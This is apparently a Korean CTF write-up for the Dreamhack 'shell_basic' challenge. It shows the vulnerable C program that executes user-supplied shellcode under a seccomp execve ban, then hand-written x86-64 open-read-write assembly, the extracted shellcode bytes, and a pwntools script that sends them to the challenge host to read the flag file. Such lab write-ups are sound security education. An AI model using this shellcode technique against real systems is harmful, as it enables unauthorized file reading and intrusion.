// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(10);
}
void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
banned_execve();
printf("shellcode: ");
read(0, shellcode, 0x1000);
sc = (void *)shellcode;
sc();
}
해당 소스 코드를 봤을 때 사용자에게 셸코드의 바이트코드를 받아서 해당 바이트 코드를 실행시키는 프로그램인 것 같다.
/home/shell_basic/flag_name_is_loooooong
이름의 flag 파일을 읽고 출력하는 ORW(open-read-write) 셸코드를 작성해야 될 것 같다.
/home/shell_basic/flag_name_is_loooooong
파일을 열고 읽은 후, 화면에 출력하는 코드를 c 언어 의사코드로 작성해보자
fd = open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, NULL); // 파일을 읽엉옴
read(fd, buf, 0x30); // 파일의 내용을 buf에 작성
write(1, buf, 0x30); // buf의 내용을 화면에 출력
; open("/home/shell_basic/flag_name_is_loooooong",
xor rax, rax
push rax
mov rax, 0x676e6f6f6f6f6f6f ; rax = "oooooong"
push rax ; *rsp = "oooooong\x0"
mov rax, 0x6c5f73695f656d61 ; rax = "ame_is_l"
push rax ; *rsp = "ame_is_loooooong\x0"
mov rax, 0x6e5f67616c662f63 ; rax = "c/flag_n"
push rax ; *rsp = "c/flag_name_is_loooooong\x0"
mov rax, 0x697361625f6c6c65 ; rax = "ell_basi"
push rax ; *rsp = "ell_basic/flag_name_is_loooooong\x0"
mov rax, 0x68732f656d6f682f ; rax = "/home/sh"
push rax ; *rsp = "/home/shell_basic/flag_name_is_loooooong\x0"
mov rdi, rsp ; rdi = rsp ; *rdi = "/home/shell_basic/flag_name_is_loooooong\x0"
xor rsi, rsi ; rsi = 0
xor rdx, rdx ; rdx = 0
mov rax, 0x02 ; rax = 0x02 ; syscall_open
syscall ; syscall
; read(fd, buf, 0x30)
mov rdi, rax ; rdi = rax ; *rdi = "DH{...}"
mov rsi, rsp ; rsi = rsp
sub rsi, 0x30 ; rsi = rsi - 0x30
mov rdx, 0x30 ; rdx = 0x30
mov rax, 0x00 ; rax = 0x00 ; syscall_read
syscall
; write(1, buf, 0x30)
mov rdi, 0x01 ; rdi = 1
mov rax, 0x01 ; rax = 0x01
syscall
; filename : shellcode.asm
section .text
global _start
_start:
; open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, NULL)
xor rax, rax
push rax ; *rsp = \x0
mov rax, 0x676e6f6f6f6f6f6f ; rax = "oooooong"
push rax ; *rsp = "oooooong\x0"
mov rax, 0x6c5f73695f656d61 ; rax = "ame_is_l"
push rax ; *rsp = "ame_is_loooooong\x0"
mov rax, 0x6e5f67616c662f63 ; rax = "c/flag_n"
push rax ; *rsp = "c/flag_name_is_loooooong\x0"
mov rax, 0x697361625f6c6c65 ; rax = "ell_basi"
push rax ; *rsp = "ell_basic/flag_name_is_loooooong\x0"
mov rax, 0x68732f656d6f682f ; rax = "/home/sh"
push rax ; *rsp = "/home/shell_basic/flag_name_is_loooooong\x0"
mov rdi, rsp ; rdi = rsp ; *rdi = "/home/shell_basic/flag_name_is_loooooong\x0" xor rsi, rsi ; rsi = 0
xor rdx, rdx ; rdx = 0
mov rax, 0x02 ; rax = 0x02 ; syscall_open
syscall
; read(fd, buf, 0x30)
mov rdi, rax ; rdi = rax ; *rdi = "DH{...}"
mov rsi, rsp ; rsi = rsp
sub rsi, 0x30 ; rsi = rsi - 0x30
mov rdx, 0x30 ; rdx = 0x30
mov rax, 0x00 ; rax = 0x00 ; syscall_read
syscall
; write(1, buf, 0x30)
mov rdi, 0x01 ; rdi = 1
mov rax, 0x01 ; rax = 0x01
syscall
$ nasm -f elf64 shellcode.asm
$ for i in $(objdump -d shellcode.o|grep "^ "|cut -f2);do echo -n \\x$i;done
\x48\x31\xc0\x50\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05
from pwn import *
#p = process("./shell_basic")
p = remote("host3.dreamhack.games", 18562)
payload = b"\x48\x31\xc0\x50\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05"
p.recvuntil(b"shellcode: ")
p.send(payload)
flag = p.recvline()
print("flag: ", flag)
p.close()